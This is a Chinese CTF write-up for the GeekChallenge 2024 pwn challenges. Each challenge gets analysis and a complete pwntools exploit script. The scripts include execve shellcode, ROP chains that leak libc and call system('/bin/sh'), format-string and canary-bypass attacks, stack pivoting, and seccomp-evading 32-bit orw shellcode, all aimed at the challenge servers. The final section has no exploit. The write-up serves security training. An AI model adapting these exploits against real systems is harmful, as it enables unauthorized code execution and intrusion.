GeekChallenge 2024 第十五届极客大挑战 pwn AK
- 🍀前言
- ☘️ez_shellcode(shellcode,栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️买黑吗喽了吗(整数溢出,栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️简单的签到(随机数)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️00000(随机数)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️你会栈溢出吗(栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️over_flow??(栈溢出,syscall)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️这里的空间有点小啊(栈迁移)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️Black_Myth_Wukong(格式化字符串,栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️su~~~~(栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️我的空调呢(不正确的数组索引)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️真能走到后门吗(格式化字符串,栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️FindG????t(RAP)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️orz?orw!(栈溢出,orw)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️ez_fmt(栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️stack_overflow(栈溢出,canary绕过)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️学校的烂电梯plus(栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️WhoIsAdmin(AES加密,整数溢出,栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️struct_one_byte(越界修改)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️hard_orw(orw)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️学校的烂电梯pro(栈溢出)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️stdout(栈溢出,缓冲机制)
- 🌿分析
- 🌿解题
- 🌿exp
- ☘️ez_srop(SBROP)
- 🌿分析
- 🌿解题
- 🌿exp
题目链接:
百度网盘(提取码yxxx)
🍀前言
本来是没打这个比赛,被鱼神喊来炸鱼,解了一道题(struct_one_byte),尝到炸鱼的甜头了,就全炸了,属于是炸爽了。新生赛题目难度还是蛮友好的,最难绷的题是FindG???t和ez_srop,其他题目比较容易就随便讲讲
应该是最后一次认真打新生赛了,难度太低了,很多时候是浪费时间
☘️ez_shellcode(shellcode,栈溢出)
🌿分析
checksec查看
IDA查看。往bss上写数据。然后是gets,gets不开pie和canary的话直接就能getshell
有个后门,提权后直接执行刚刚写入的shellcode
🌿解题
先写入shellcode,再覆盖ret为后门函数即可
🌿exp
from pwn import *
filename = './shellcode'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 13326)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
io.send(b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05')
io.sendline(b'A' * 0x18 + b'A' * 8 + p64(0x401256))
io.interactive()
☘️买黑吗喽了吗(整数溢出,栈溢出)
🌿分析
checksec查看
IDA查看。开始给了0x100块
shop函数中可以买东西,使钱减少,减成负数就是大正数
view函数中,如果钱够大,就可以read一下,str1存了格式化字符串参数%x,改成%p就可以泄露程序基地址
栈溢出,有了基地址就可以rop
🌿解题
先把钱减成负数,变成大正数
随后去2泄露
再去3完成rop
🌿exp
from pwn import *
filename = './syscall'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 30701)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
for i in range(9):
io.sendline('1')
sleep(0.1)
io.sendline('1')
sleep(0.1)
io.sendline('1')
sleep(0.1)
io.sendline('2')
sleep(0.1)
io.sendline('2')
sleep(0.1)
io.send('%p')
io.recvuntil('0x0x')
base = int(io.recv(12), 16) - 0x4090
success('base =>> ' + hex(base))
rdi = base + 0x11f1
rsi = base + 0x11f3
ret = base + 0x101a
puts_plt = base + elf.plt['puts']
puts_got = base + elf.got['puts']
io.sendline('3')
io.send(b'A' * 0x50 + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(base + 0x14BC))
io.recvuntil('better!\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
io.send(b'A' * 0x50 + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()
☘️简单的签到(随机数)
🌿分析
checksec查看
IDA查看
随机数,然后还告诉你了。输入正确就getshell
有个时间限制,计算时间不能超过3秒,影响不大。可以用python的ctypes模块调用c函数,但是似乎有问题,还是用他给的数吧
🌿解题
接收一下他给的数,然后送过去就好了
🌿exp
from pwn import *
filename = './main'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 22910)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
io.recv()
io.send('\n')
a = int(io.recvuntil(' * ', drop = True))
b = int(io.recvuntil(' =', drop = True))
io.sendline(str(a * b))
io.interactive()
☘️00000(随机数)
🌿分析
checksec查看。保护全开
IDA查看。猜密码,如果密码正确就输出flag
从libc随机库中抽了个128位随机数,显然不可能破解。程序利用strcmp比较,遇\0停止,所以有1/256的几率成功,密码输入\0就可以了,当随机数第一位也为\0的时候,比较成功
🌿解题
写一个爆破的脚本就好
🌿exp
from pwn import *
filename = './main'
'''
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 27912)
else:
io = process(filename)
'''
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
for i in range(256):
io = process(filename)
try:
io.sendline('\x00')
io.recvuntil('{', timeout = 0.3)
io.interactive()
except:
continue
finally:
io.close()
☘️你会栈溢出吗(栈溢出)
🌿分析
checksec查看
IDA查看
栈溢出,没开pie和canary也可以不给后门
有个后门,直接溢出就好了
🌿解题
覆盖ret地址
🌿exp
from pwn import *
filename = './stackover'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 25115)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
io.sendline(b'A' * 0xC + b'A' * 8 + p64(0x400729))
io.interactive()
☘️over_flow??(栈溢出,syscall)
🌿分析
checksec查看
IDA查看
save函数查看,可以输入要save的文件的名字,服务器会创建一个文件然后将你要save的内容写进文件。禁止文件名为flag。这里存在栈溢出,但是开了canary所以没用
ow函数是用汇编写的
open前mov rsi, 0x41有点迷惑,后面觉得可能是不让在这里execve。可以看到读入了0x100字节
read就是将save的文件内容读取到v2变量中,只能读0x100字节,也不存在溢出。但是在读filename的时候溢出了一字节
这一字节刚好能改到下方的open的系统调用号,就可以控制程序执行任意系统调用
再看一下or的汇编,将open改为自己想要的系统调用号后,接着会执行该系统调用,参数是(filename, 0, 0),filaname可控,显然是要执行execve(‘/bin/sh’, 0, 0)
🌿解题
将filename写成’/bin/sh\x00’,系统调用号改为0x3b即可。这题本地24.04不能执行,有点迷惑
🌿exp
from pwn import *
io = remote('nc1.ctfplus.cn', 43640)
context(log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
io.sendline('2')
sleep(0.1)
io.send(b'/bin/sh\x00' + b'\x3b')
io.interactive()
☘️这里的空间有点小啊(栈迁移)
🌿分析
checksec查看
IDA查看
刚好溢出0x10字节,栈溢出到bss段上rop就好了
🌿解题
控制rbp为bss,ret为read
程序触发第一次leave时(mov rsp, rbp; pop rbp),rbp变为bss,rsp变为之前的rbp(一个栈地址)
随后程序执行完read后,第二次leave,rbp变为bss - 0x30,rsp变为bss + 8,也就是上图ret的位置,这里的ret是leave_ret。会接着执行第三次leave,rbp变为bss + 0x100,rsp变为bss - 0x28,也就是上图rdi的位置,程序继续执行rop,泄露了libc。再接一个read
再重复这个操作,rop成功
🌿exp
from pwn import *
filename = './main'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 17608)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
bss = 0x601530
read = 0x40071C
ret = 0x400738
rdi = 0x400853
ret_ = 0x400566
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io.sendlineafter('>>\n', '1')
io.sendafter('something\n', b'A' * 0x30 + p64(bss) + p64(read))
io.send(p64(bss + 0x100) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read) + b'/bin/sh\x00' + p64(bss - 0x30) + p64(ret))
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80970
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = bss - 0x30 + 0x28
io.send(p64(bss + 0x50) + p64(ret_) + p64(rdi) + p64(bin_sh) + p64(sys) + p64(0) + p64(bss + 0x100 - 0x30) + p64(ret))
io.interactive()
☘️Black_Myth_Wukong(格式化字符串,栈溢出)
🌿分析
checksec查看
IDA查看
有一次栈上任意地址泄露的机会,可以泄露libc
输入v2的值,不能超过0x100
会输入进这个v2
这里存在off_by_null,使得rbp末字节归0,随后经过一次ret后,第二次ret的地址就可以控,控成one_gadget即可
🌿解题
先泄露libc
再将栈上全覆盖为one_gadget,因为栈会有偏移,不能精准控制,只能控制一大片,而这一大片刚好是256个字节也就是0xFF,所以这题不太需要爆破
观察发现此时的rbp末尾已经归0,随后rsp会先变为0x7fffd234a880,再变为0x7fffd234a9a0,最后变为0x7fffd234a900
从图中可以看到0x7fffd234a900的附近位置,都被控制为了one_gadget
最后执行了one_gadget
🌿exp
from pwn import *
filename = './main'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 29878)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
io.send('\n')
sleep(0.1)
io.sendline('19')
sleep(0.1)
io.recvuntil('it: ')
libcbase = int(io.recv(12), 16) - 0x80b12
success('libcbase =>> ' + hex(libcbase))
one_gadget = libcbase + 0x4f29e
io.sendline('256')
sleep(0.1)
io.send(p64(one_gadget) * 2 * 0x10)
io.interactive()
☘️su~~~~(栈溢出)
🌿分析
checksec查看
IDA查看
栈溢出,标准rop就行了
🌿解题
泄露libc
拿shell
🌿exp
from pwn import *
filename = './csu'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 35349)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
io.sendline('1')
rdi = 0x400903
ret = 0x4005d6
read = 0x400798
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io.send(b'A' * 0x80 + b'A' * 0x8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read))
io.recvuntil('exit.\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80970
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
io.send(b'A' * 0x80 + b'A' * 0x8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()
☘️我的空调呢(不正确的数组索引)
🌿分析
checksec查看
IDA查看。这代码写得有点离谱的
add函数,可以往bss段上写一些数据
view函数,可以打印一些数据
delete函数,删除数据
edit函数,这里v1是int类型,可以是负数,这样可以越界修改数据,只要那个地方有值就能改
fun函数有一次任意地址泄露的机会,没开pie就直接泄露bss上的IO指针
🌿解题
先用5泄露一下libc
再用edit把bss开头的got表改一下,printf的保持不变,因为改这个待会还要输出,会报错,将memset的改为sys地址,在delete调用memset的时候,如果此时student里写了‘/bin/sh’,那么就可以getshell
写一下’/bin/sh’,然后调用delete就可以了
🌿exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 18839)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
io.sendlineafter('chioce>:', '5')
io.sendline('0x404018')
io.recvuntil('massege:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['puts']
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
printf = libcbase + libc.sym['printf']
io.sendlineafter('chioce>:', '4')
io.sendline('-4')
io.send(b'A' * 0x8 + p64(printf) + p64(sys))
io.sendlineafter('chioce>:', '1')
io.sendafter('name:\n', '/bin/sh\x00')
io.sendafter('Introduce:\n', 'A')
io.sendlineafter('chioce>:', '3')
io.sendline('0')
io.interactive()
☘️真能走到后门吗(格式化字符串,栈溢出)
🌿分析
checksec查看
IDA分析
有一次格式化字符串漏洞,可以泄露canary和栈地址
read里面有差一错误,溢出一字节,可以改ret的末一位字节
由于vuln是通过main调用的,所以返回地址就是接下来的0x4013F1,改成0x4013EC就可以重新调用vuln函数,实现无限printf,就可以任意地址改
有个后门函数,将返回地址改为这里就可以了,由于相较比较近,改末两个字节就可以,由于末一字节能通过溢出修改,所以只要改末第二个字节
🌿解题
先泄露canary和栈地址
然后改返回地址末位为0xEC,重新调用
利用格式化字符串改末第二位,溢出改末位就可以了
🌿exp
from pwn import *
filename = './fmt'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 22626)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
io.send('A')
sleep(0.1)
io.send('%13$p%14$p')
sleep(0.1)
io.recvuntil('0x')
canary = int(io.recv(16), 16)
success('canary =>> ' + hex(canary))
io.recvuntil('0x')
rbp = int(io.recv(12), 16)
success('rbp =>> ' + hex(rbp))
ret = rbp - 0x18
io.send(p64(ret + 1) + b'A' * 0x30 + p64(canary) + p64(rbp)+ b'\xEC')
sleep(0.1)
io.send(b'%18c%6$hhn')
sleep(0.1)
io.send(b'A' * 0x38 + p64(canary) + p64(rbp)+ b'\x82')
io.interactive()
☘️FindG???t(RAP)
《最颠沛流离的一集》《到底是怎样的flag才配得上这一路的颠沛流离》
🌿分析
checksec查看
IDA查看。读入了0x30字节在栈上,然后输个index,意思是能任意改栈上内容的一字节。后面又改了一次index,return index
这里显然是syscall,显然作者是想要改返回地址的末字节,但是作者没有考虑到不同环境下,那个地址会不同,我用的是24.04的虚拟机,刚好和作者一样。其他版本会有一定差距,因此这是这个题出得不好的地方。
所以我没有考虑syscall
能修改栈上的字节可以做什么呢,S7强网杯已经给出了答案,可以修改read的返回地址
read在调用开始时会push 0x40111F进栈作为返回地址,随后进行read的操作,那么获取了栈地址,就可以将修改的地方设定为read的返回地址末一字节,将0x40111F改为0x401158,就可以直接ret,而这时候rsp指向的刚好是之前写在栈上的0x30个字节。如果改为0x401154或者55,56的话,就可以控制rbx,rbp,r12这三个寄存器,我控制了挺久,期间跳到了bss段上写数据,但是最后失败了,还是换了个方法。
接下来只控制跳到0x401158
期望是泄露libc,泄露libc需要控制puts的参数rdi
rdi只有这里能控,要控制rdi就要控制rsp
而要想有效控制rsp,只有这里能控制
利用栈风水手法:栈降低。先留下一些rop数据,再通过ret直接降低栈,跳过升栈的0x40,然后程序正常执行,执行到mov rdi, rsp后,rdi被赋值为了一个栈上的值,这个值可能是:普通数,栈地址,libc地址,程序地址。需要看栈的上面来确定。随后栈升高0x40,来到之前准备的rop处,完成puts泄露libc地址,再ret回去继续rop
🌿解题
先是第一个ret,0x4010C7是即将要ret的地方,也就是push rbx然后再降栈的地方,为什么不直接降栈而是push一下,是因为需要栈对齐,要不然等会scanf函数会调用失败
随后栈降低,再进行调用read
接下来ret到mov rdi, rsp处,控制玩rdi后降栈,执行pop rbx rbp r12,为了后面程序正常执行,这里都恢复的原值,在上上个图中的send中,rbx为0,rbp为0x40200E,r12为0x4040BC,随后调用puts_plt泄露地址,然后是重新开始
在read刚开始时,往栈上push了返回地址,下面的是之前read 0x30的时候写的数据
将返回地址末位改为0x58,就来到了ret,然后直接rop
第二次read,只往栈上写一个数据
随后再次read改自己返回地址,直接ret,改rdi为rsp
此时rsp值为这个,等会puts的参数就是这个,会puts这里的数据
随后是抬高栈,然后pop三下,把之前留的数据拿走,再ret到之前留的plt上
在调用puts函数时,在真正puts之前,会先将栈进行如上赋值,调用之前rsp是0x7ffc332655e8,我这里重启了一下程序,地址和上面不同。看到将rsp - 0x60的地址改为了libc的地址,这里刚好是之前rdi参数的地址,所以等会puts的时候会将这里的值泄露,就拿到了libc
泄露完后程序照旧执行,还是用之前第一次read留的ret地址
照旧再来一遍,有libc了就直接控rdi了,基本rop就可以了
🌿exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 45331)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts']
io.send(p64(0x4010C7) + p64(0) + p64(0x40200E) + p64(0x40408C) + p64(puts_plt) + p64(0x4010D1))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.send('\x58')
sleep(0.1)
io.send(p64(0x401147))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.recv()
io.send('\x58')
sleep(0.1)
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x202030
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x10f75b
io.send(p64(rdi) + p64(bin_sh) + p64(sys))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.send('\x58')
sleep(0.1)
io.interactive()
☘️orz?orw!(栈溢出,orw)
🌿分析
checksec查看
IDA查看。输入v5的值,小于等于4就好,由于是unsigned不能是负数。输入buf可以溢出,有canary,用这个泄露canary,然后需要改v5的值,v5最高比特位要为0才是正数,不然read失败。用第二个read栈溢出就好了
沙箱禁了execve,影响不大
有个后门函数,栈是可执行的,所以直接往栈上写shellcode就行了
🌿解题
控制v5的值,泄露canary
跳转到后面函数,再到栈上,正常orw就可以
🌿exp
from pwn import *
filename = './orw'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 14920)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
io.sendline('1')
io.send(b'A' + b'111\x01' + b'A' * 5)
io.recvuntil('AAAAA')
canary = u64(io.recv(7).rjust(8, b'\0'))
success('canary =>> ' + hex(canary))
io.send(b'A' * 4 + p64(canary) + b'A' * 8 + p64(0x4012A7) + asm(shellcraft.open('./flag', 0) + shellcraft.read(3, 0x404500, 0x100) + shellcraft.write(1, 0x404500, 0x100)))
io.interactive()
☘️ez_fmt(栈溢出)
🌿分析
checksec查看。保护全开
IDA查看
给了两次泄露的机会,有canary优先泄露canary,然后再泄露个libc
然后是scanf有问题
观察到rdi是buf,就是可以控制scanf的第一个参数,控制为%s,就相当于gets,直接栈溢出基本rop就可以了
🌿解题
泄露canary和libc
改参数,基本rop
🌿exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 18155)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
io.recv()
io.sendline('9')
canary = u64(io.recv(7).rjust(8, b'\0'))
success('canary =>> ' + hex(canary))
sleep(0.1)
io.recv()
io.sendline('38')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x24083
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x23b6a
ret = libcbase + 0x22679
io.send(b'A' * 0x10 + b'%s')
sleep(0.1)
io.sendline(b'A' * 0x38 + p64(canary) + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()
☘️stack_overflow(栈溢出,canary绕过)
🌿分析
checksec查看
IDA查看。开始给了fs的地址,fs:0x28的位置就是canary。给了一次任意地址改的机会,那个if检测是检测了末字节,末字节不能为8或0
可以改7个字节,显然是改canary,随后就可以正常栈溢出rop
🌿解题
将canary改为0
基本rop,泄露libc再sys
🌿exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 42500)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_rcx = 0x40123f
io.recvuntil('gift:')
fs = u64(io.recv(6).ljust(8, b'\0'))
success('fs =>> ' + hex(fs))
io.send(p64(fs + 0x29))
sleep(0.1)
io.send(b'\x00' * 7)
sleep(0.1)
io.send(b'A' * 0x18 + p64(0) * 2 + p64(rdi_rcx) + p64(puts_got) + p64(0) + p64(puts_plt) + p64(0x401247))
io.recvuntil('buf:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80e50
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
io.send(p64(fs + 0x29))
sleep(0.1)
io.send(b'\x00' * 7)
sleep(0.1)
io.send(b'A' * 0x18 + p64(0) * 2 + p64(rdi_rcx) + p64(bin_sh) + p64(0) + p64(sys))
io.interactive()
☘️学校的烂电梯plus(栈溢出)
🌿分析
checksec查看
IDA查看
输入v1的值,赋给data,data后面也没找到用的地方,看汇编
将栈减少了data的值
ask_phone函数没用,是给后面的pro准备的
将栈抬高,就可以改到ret地址了,直接基本rop。原理和FindG???t一样,在read真正调用前push了自己的返回地址,然后read数据后,返回地址发生改变
🌿解题
将栈抬高4个字长
基本rop,先libc再sys
🌿exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 14982)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x40127f
ret = 0x40101a
io.sendline('-4')
io.sendline('1')
io.send(b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x401303))
io.recvuntil('man!!\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80e50
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
io.sendline('-4')
io.sendline('1')
io.send(b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()
☘️WhoIsAdmin(AES加密,整数溢出,栈溢出)
🌿分析
checksec查看
IDA查看
AES加密,给了特征码
买东西,开始输入一下答案,口算一下就知道了,是1640。v2输入个负数,后面*-100,就成正数了,money就可以很大
然后就可以buy了
验证加密,最后结果是AdminAdminAdminA就通过
这个加密过程是这样的:
BinaryCryptoYYDS→BinaryCryptoYYDS的user_key + code→BinaryCryptoYYDS的特征码
要想得到AdminAdminAdminA的话,需要:
BinaryCryptoYYDS的特征码→BinaryCryptoYYDS的user_key + code→AdminAdminAdminA的user_key + code→AdminAdminAdminA的特征码
也就是“BinaryCryptoYYDS”原始数据,“AdminAdminAdminA”目标数据,特征码
两个都成功后,进入这里,栈溢出基本rop即可
🌿解题
直接套板子就可以
买sys
基本rop,先libc再sys
🌿exp
from pwn import *
filename = './whoisadmin'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 21395)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
def strxor(a1, a2):
return bytes([b1 ^ b2 for b1,b2 in zip(a1,a2)])
io.sendline('1')
io.recvuntil('authcode: ')
authcode = io.recv(64).decode()
user_key = bytes.fromhex(authcode)[:16]
code = bytes.fromhex(authcode)[16:]
user_key=strxor(user_key,b'AdminAdminAdminA')
user_key=strxor(user_key,b'BinaryCryptoYYDS')
authcode=user_key.hex()+code.hex()
success('authcode =>> ' + str(authcode))
io.sendline('7')
io.sendline(str(authcode))
io.sendline('4')
io.sendline('1640')
io.sendline('-500')
io.sendline('6')
io.sendline('8')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x402db3
ret = 0x40101a
io.sendline(b'A' * 0x20 + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x402B0F))
libc = ELF('./libc-2.31.so')
io.recvuntil('name: ')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
io.sendline(b'A' * 0x20 + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()
☘️struct_one_byte(越界修改)
这题出的比较差,不需要溢出一字节,直接非预期了
🌿分析
checksec查看
IDA查看
gift泄露了libc
add函数,先是选择tacher还是student,都一样。然后是赋值一些数据,IDA里看的比较乱我没看,直接gdb看就好。v9赋值的时候溢出了1字节,没用
work函数中,如果有值,就执行一下
执行的函数是这个,参数是name和info
将这个函数的地址改为system,第一个参数输‘/bin/sh’就可以getshell了
edit函数,正常的edit
有个后门,没这个也能做
🌿解题
先add一个看看结构
这里打印一下,就可以泄露base地址
再加一个
直接将name最大字段赋值为了0x40,没有利用一字节溢出
随后将执行函数改为sys的后门就可以了,也不用控制参数
🌿exp
from pwn import *
filename = './struct'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 23165)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
def add(index, name, info):
io.sendlineafter('change player info: \n', '1')
io.sendlineafter('Index:\n', str(index))
io.sendlineafter('students\n> \n', '1')
io.sendafter('name :\n', name)
io.sendafter('info :\n', info)
def show(index):
io.sendlineafter('change player info: \n', '2')
io.sendlineafter('index:\n', str(index))
def edit(index, name):
io.sendlineafter('change player info: \n', '3')
io.sendlineafter('index:\n', str(index))
io.sendafter('name :\n', name)
add(1, 'AAAA', 'B' * 0x10)
show(1)
io.recvuntil('B' * 0x10)
base = u64(io.recv(6).ljust(8, b'\0')) - 0x2190
success('base =>> ' + hex(base))
add(0, 'CCCC', 'B' * 8)
sys = base + 0x16FA
edit(1, b'A' * 0x10 + p64(sys))
show(1)
io.interactive()
☘️hard_orw(orw)
🌿分析
checksec分析
IDA分析。经典shellcode,开了个沙箱。读4字节
其实读2字节就够了,rdx已经是一个大值了,直接\x0f\x05继续调用read就可以输入长字节的shellcode
禁的东西挺多,没有检查是否是64位,直接转32位,这些限制就全没有了
🌿解题
转32位的汇编,直接套板子,没咋看,因为一般不会给机会转32位
在32位下,进行orw,这里不能直接execve是因为execve(‘/bin/sh’, 0, 0)会创建一个新进程,这个新进程是64位,会调用openat,64位中openat被禁,就会失败
输入进去就好了
🌿exp
from pwn import *
filename = './sandbox'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 31223)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
shellcode_64 = '''
mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
mov r10, 0x21
mov r8, 0xFFFFFFFF
xor r9, r9
push SYS_mmap
pop rax
syscall
cld
mov rcx, 0x200
mov rdi, 0x10000
mov rsi, 0x405102
rep movsb
mov rsp, 0x10800
push 0x23
push 0x10000
pop rax
push rax
retfq
'''
shellcode_32 = '''
mov eax, 0x6761
push eax
mov eax, 0x6C662F2E
push eax
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 5
int 0x80
mov ebx, 3
mov ecx, 0x10500
mov edx, 0x100
mov eax, 3
int 0x80
mov ebx, 1
mov ecx, 0x10500
mov edx, 0x100
mov eax, 4
int 0x80
'''
io.send('AAAA')
io.send('BBBB')
io.send(b'\x0f\x05')
io.send(b'\x00\x00' + (asm(shellcode_64).ljust(0x100, b'\0') + asm(shellcode_32, arch='i386', bits=32)).ljust(0x200, b'\0'))
io.interactive()
☘️学校的烂电梯pro(栈溢出)
这题有些意外,挺简单的,没什么人做,可能是不太喜欢吧
🌿分析
checksec查看
IDA查看
往data里写数据,后面没有用到data,看下汇编
将栈减少了data的值
存在溢出,有canary,显然是要获取canary的值,唯一的输出就是number is %lf\n,显然要控制v1,需要控制ask_phone
这个函数从拿了一个栈的地址,往这个栈地址中写一个浮点数,后面出去就会以浮点数的形式打印这里的值
前面可以控制栈的高低,那就可以把栈移动到rbp - 0x38这个v1的位置刚好是canary的位置,随后输入个’\x00’,scanf就不会接收,然后就不会修改这里的canary值,就可以把canary以浮点数的形式打印出来,随后基本rop即可
🌿解题
我这里输入28,也就是移动了28个字长,需要主要的是这个数字必须是偶数,如果是奇数会导致后面调用scanf的时候栈不平衡出错
后面输入’\x00’导致scanf失败,没有改变canary值,再泄露
可以看到这里将canary的地址拿进去了
scanf修改失败
打印,这里不用管他的参数,我被他这参数骗了好久,实际上就是打印刚刚的canary值,不知道为什么他这里变成这个了
可以看到打印了一大串数字出来,这串数字就是canary的浮点表示形式。有的时候canary会没有浮点表示形式,需要多试几次
